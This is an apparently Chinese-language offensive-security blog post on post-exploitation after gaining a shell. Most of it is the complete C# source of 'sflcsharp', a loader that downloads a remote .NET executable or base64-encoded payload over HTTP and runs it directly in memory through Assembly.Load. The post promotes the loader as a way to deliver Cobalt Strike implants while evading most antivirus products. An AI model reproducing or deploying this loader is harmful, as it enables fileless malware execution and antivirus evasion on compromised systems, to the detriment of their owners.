拿到一臺主機的shell後,我們一般會想辦法「升級」shell,最常見的是上傳一個CS的木馬,這樣對我們的後滲透工作會十分方便。
程式碼實現:sflcsharp
絕大多數都是不查殺的
我們提前在ip為10.92.52.27的主機上傳了兩個檔案,一個為helloworld.exe,一個是此檔案的base64密文形式。此exe檔案執行效果為在命令輸出fffffff,如下圖所示:
這時候使用sflcsharp的-b引數來載入遠端的c#語言的exe檔案:
使用-b64引數來載入遠端的b64密文:
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;
namespace demo1
{
class Program
{
static void Main(string[] args)
{
string fileDownloadurl = null;
string filedownloadtype = null;
byte[] filebuffer = null;
try
{
fileDownloadurl = args[1];
filedownloadtype = args[0];
}
catch
{
Console.WriteLine("\n載入遠端exe檔案到記憶體執行:sflcsharp.exe -b exe檔案的url");
Console.WriteLine("\n載入遠端base64密文件案到記憶體執行:為sflcsharp.exe -b64 b64檔案的url");
Environment.Exit(0);
}
if (filedownloadtype == "-b")
{
filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
}
if (filedownloadtype == "-b64")
{
filebuffer = downloadbase64(fileDownloadurl);
}
if (filebuffer != null)
{
Console.WriteLine("正在將下載下來的程式載入到當前使用者的記憶體中");
Assembly assemblyinstance = Assembly.Load(filebuffer); //將下載下來的程式載入到當前使用者的記憶體中
Console.WriteLine("正在尋找程式入口點並執行程式");
assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程式的入口點並執行程式
Console.WriteLine("\n程式執行完畢");
}
}
public static byte[] Downloadbinarypefilebyhttp(string url)
{
Console.WriteLine("\n建立WebClient類用來下載PE檔案");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳資料
Console.WriteLine("\n下載檔案後自動儲存為byte[]格式\n");
byte[] test = downloadwebclient.DownloadData(url);
return test;
}
public static byte[] downloadbase64(string url)
{
Console.WriteLine("\n建立WebClient類用來下載base64密文件案,下載到的資料按照字串格式儲存在記憶體");
WebClient downloadwebclient = new WebClient(); //這個類可以從指定url上下載或者上傳資料
string b64 = downloadwebclient.DownloadString(url);
Console.WriteLine("將base64字串轉換為byte[]型別的資料");
byte[] test = Convert.FromBase64String(b64);
return test;
}
}
}
windows的.NET框架其中有一個類為assembly類。這個類可以家在byte[]型別的資料到記憶體中並當作一個assembly檔案去執行。assembly檔案就是c#寫的dll檔案與exe檔案。然而還有函數可以將遠端的exe檔案下載到本地並用byte[]格式去儲存。這兩個方式結合後就可以實現下載遠端c#檔案到記憶體中直接執行,可以繞過絕大多數殺軟。